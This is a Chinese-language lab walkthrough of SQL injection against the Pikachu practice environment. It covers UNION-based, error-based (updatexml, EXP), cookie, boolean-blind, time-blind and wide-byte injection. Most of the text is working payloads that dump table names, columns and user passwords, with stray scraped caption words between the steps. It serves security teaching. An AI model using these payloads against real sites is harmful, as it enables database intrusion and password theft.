burp抓包,发送至repeater
后面加and 1=1,and 1=2 可判断存在注入
sql
经过order by判断字段数,order by 2 和order by 3 返回结果不一样,可得字段数为2
数据库
查看表名:
union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()
函数
查询users表中的数据:
union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'
测试
查询数据:
union select 1,username from users
union select 1,password from users
编码
加单引号报错,'--+ 返回正常,可判断存在字符型注入
orm
经过上题可知有两个字段
查询表名:
' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()--+
xml
查询users表中的数据:
' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'--+
blog
查询数据:
' union select 1,username from users--+
' union select 1,password from users--+
md5
单引号报错,判断字段
' order by 3#时正常,' order by 4#时不正常
it
已经知道含有users表,直接查列名
' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'#
查password数据
' union select 1,2,password from users#
输入单引号,获得报错信息
能够看到有个)符号,那么sql语句中前面必定有个(符号,因此要将前面闭合,后面注释掉
输入')#,抓包repeater放包
判断字段
%27)+order+by+2%23,回显正常
%27)+order+by+3%23,回显不正常,字段数为2
已知users表,查列名
%27)+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name='users'%23
查密码
%27)+union+select+1,password+from+users%23
点击注册,用户名密码输入以下
提交返回
根据报错可推断前面sql语句大概是这样value('xxx',1,2,3,4,5)
使用updatexml()进行报错注入
' or updatexml(1,concat(0x7e,(SELECT password from users limit 0,1),0x7e),0) or '
Updatexml只能注出32位字符,缺乏一位字符,因此改用其余函数
经测试extractvalue()函数也是同样,再换其余函数
使用EXP函数时成功注出md5
' or EXP(~(SELECT * from(select @@version)a)) or '
' or EXP(~(SELECT * from(select group_concat(table_name) from information_schema.tables where table_schema = database())a)) or '
' or EXP(~(SELECT * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '
' or EXP(~(SELECT * from(select password from users limit 0,1)a)) or '
单引号报错
这种id的值通常都是数字型注入
+or+EXP(~(SELECT+*+from(select+@@version)a))
最终payload:+or+EXP(~(SELECT+*+from(select+password+from+users+limit+0,1)a))
提示给了帐号密码
登陆进去
刷新,抓包
能够看到Cookie中含有ant[uname]=admin,怀疑此处可能存在与数据库交互,所以加单引号进行验证
发现报错,所以,使用报错注入语句
'+or+EXP(~(SELECT+*+from(select+@@version)a))+or+'
' or EXP(~(SELECT * from(select group_concat(table_name) from information_schema.tables where table_schema = database())a)) or '
' or EXP(~(SELECT * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '
' or EXP(~(SELECT * from(select password from users limit 0,1)a)) or '
首先要知道一个用户名(真实环境可本身注册一个)
lili' and 1=1#
lili' and 1=2#
可判断存在注入
paylaod:lili' and substr(database(),1,1)='字母'#
对数字进行爆破
第一个字母为p
再对第二位进行爆破
lili' and substr(database(),2,1)='字母'#
第二个字母为i
按此方式一位一位进行爆破,可得数据库名为pikachu
首先要知道一个用户名(真实环境可本身注册一个)
lili' and sleep(10)#
10s左右才响应,可判断存在时间盲注(或者F12看响应时间)
爆破数据库名
lili' and if(substr(database(),1,1)='字母',sleep(5),1)#
对字母进行爆破,爆破第一个字母
爆破后将Columns--Response received选中,可看到响应时间
第一个字母为p
爆破第二个字母
lili' and if(substr(database(),2,1)='字母',sleep(5),1)#
获得第二个为i
以此类推,得出数据库名为pikachu
抓包在burp中操做
1%df%27+or+1=1#
判断字段数
1%df%27+union+select+1,2#
1%df%27+union+select+1,2,3#
字段数为2
查表名
1%df%27+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()#
查列名
1%df%27+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name=0x7573657273#
(0x7573657273为users的16进制编码)
查数据
1%df%27+union+select+1,password+from+users#
更多技术文章请关注Timeline Sec公众号